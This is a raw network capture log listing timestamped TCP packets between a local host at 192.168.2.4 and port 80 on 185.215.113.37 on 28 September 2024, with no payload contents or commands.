Sep 28, 2024 10:19:17.552170038 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.552179098 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.552196980 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.552212000 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.552223921 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.552243948 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.552253008 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.552279949 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.552290916 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.552313089 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.552325010 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.552345991 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.552356005 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.552381992 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.552392006 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.552416086 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.552427053 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.552449942 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.552463055 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.552484989 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.552491903 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.552517891 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.552530050 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.552551031 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.552568913 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.552584887 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.552592039 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.552618980 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.552630901 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.552654028 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.552670002 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.552687883 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.552700996 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.552735090 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.552941084 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.552973986 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.552982092 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.553008080 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.553014994 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.553041935 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.553054094 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.553082943 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.553082943 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.553117990 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.553127050 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.553153038 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.553159952 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.553200960 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.681394100 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.681462049 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.681473017 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.681493044 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.681509972 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.681540012 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.681757927 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.681792021 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.681817055 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.681826115 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.681852102 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.681868076 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.681876898 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.681911945 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.681941032 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.681972980 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.681989908 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.682007074 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.682020903 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.682041883 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.682070017 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.682107925 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.682118893 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.682148933 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.682219982 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.682255030 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.682255983 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.682288885 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.682292938 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.682318926 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.682336092 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.682384968 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.682418108 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.682439089 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.682446957 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.682480097 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.682513952 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.682569027 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.682723999 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.682755947 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.682775021 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.682802916 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.682877064 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.682924032 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.682926893 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.682957888 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.682971001 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.682992935 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.683003902 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.683027029 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.683037043 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.683063984 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.683068991 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.683099985 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.683140993 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.683150053 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.683173895 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.683199883 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.683207035 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.683223009 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.683239937 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.683252096 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.683278084 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.683358908 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.683401108 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.683414936 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.683448076 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.683464050 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.683480978 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.683487892 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.683521032 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.683535099 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.683568001 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.683600903 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.683619022 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.683633089 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.683650017 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.683676958 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.683701992 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.683741093 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.683749914 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.683774948 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.683779955 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.683816910 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.683826923 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.683859110 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.683892012 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.683907032 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.683923006 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.683955908 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.683984995 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.683989048 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.684017897 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.684020042 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.684045076 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.684052944 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.684065104 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.684087992 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.684099913 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.684120893 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.684134007 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.684160948 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.684165001 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.684173107 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.684210062 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.684264898 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.684278965 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.684304953 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.748240948 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.753308058 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.973589897 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.973647118 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.973683119 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.973686934 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.973720074 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.973727942 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.973737955 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.973756075 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.973771095 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.973789930 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.973841906 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.973874092 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.973879099 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.973902941 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.973921061 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.973979950 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.974025965 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.974033117 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.974067926 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.974076986 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.974102974 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.974116087 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.974138975 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.974150896 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.974173069 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.974206924 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.974209070 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.974224091 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.974242926 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.974260092 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.974282980 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.974327087 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.974347115 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.974361897 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.974370003 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.974395037 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.974416971 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.974443913 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.974478006 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.974478006 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.974510908 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.974522114 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.974534035 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.974544048 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.974560022 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.974584103 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.974594116 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.974620104 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.974628925 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.974653959 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.974670887 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.974692106 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.974715948 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.974726915 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.974726915 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.974761009 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.974781990 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.974797010 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.974812984 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.974831104 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.974847078 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.974865913 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.974875927 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.974899054 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.974915028 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.974934101 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.974947929 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.974963903 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.974989891 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.974997044 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.975011110 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.975029945 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.975054979 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.975061893 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.975080967 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.975096941 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.975101948 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.975131989 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.975146055 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.975167990 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.975183010 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.975217104 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.975501060 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.975534916 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.975567102 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.975589037 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.975600004 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.975620031 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.975635052 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.975650072 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.975667953 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.975681067 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.975701094 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.975713968 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.975735903 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.975744963 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.975769043 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.975780964 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.975799084 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.975814104 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.975833893 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.975847960 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.975867987 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.975898981 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.975914955 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.975934029 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.975946903 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.975967884 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.975977898 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.976002932 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.976016998 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.976037979 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.976048946 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.976085901 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.976177931 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.976211071 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.976227999 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.976244926 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.976257086 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.976279974 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.976291895 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.976315022 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.976329088 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.976346016 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.976351023 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.976389885 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.976469994 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.976516008 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.976545095 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.976550102 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.976567030 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.976583004 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.976600885 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.976618052 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.976635933 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.976653099 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.976665974 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.976686001 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.976700068 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.976716042 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.976731062 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.976748943 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.976758003 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.976789951 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.976797104 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.976824999 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.976841927 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.976860046 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.976867914 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.976903915 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:18.608648062 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:18.609164000 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:18.613666058 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:18.614085913 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:19.519666910 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:19.519870996 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:19.572640896 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:19.578576088 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:19.803514957 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:19.803576946 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:19.803580046 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:19.803608894 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:19.803633928 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:19.803647995 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:19.806765079 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:19.811649084 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:20.035098076 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:20.035219908 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:20.045475006 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:20.050446987 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:20.773190022 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:20.773251057 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:20.818068027 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:20.822962046 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:21.052520037 CEST	80	49730	185.215.113.37	192.168.2.4
